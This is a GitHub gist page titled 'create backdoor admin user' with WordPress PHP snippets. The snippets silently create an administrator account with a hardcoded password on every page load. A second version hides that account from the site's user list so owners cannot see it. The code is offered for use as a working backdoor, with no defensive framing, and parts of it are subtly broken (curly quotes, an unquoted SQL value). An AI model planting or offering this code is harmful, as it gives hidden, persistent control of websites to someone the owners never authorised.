Skip to content

Instantly share code, notes, and snippets.

@geeac
Last active April 13, 2017 14:54
Show Gist options
  • Save geeac/9d6123f90da4d99659a8d3a8587ff047 to your computer and use it in GitHub Desktop.
Save geeac/9d6123f90da4d99659a8d3a8587ff047 to your computer and use it in GitHub Desktop.
create backdoor admin user
add_action('init', 'my_backdoor');
function my_backdoor() {
require('wp-includes/registration.php');
$user_id = wp_create_user('brad', 'pa55w0rd');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
Here’s a more elaborate and fine tuned version:
//ADD ACCOUNT
function admin_account(){
$user = 'YOUR_USERNAME';
$pass = 'YOUR_PASSWORD';
$email = 'YOUR_EMAIL';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
add_action('init','admin_account');
//HIDE YOUR ACCOUNT
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
$user = ‘YOUR_USERNAME’;
if ($username != $user) {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != $user",$user_search->query_where);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment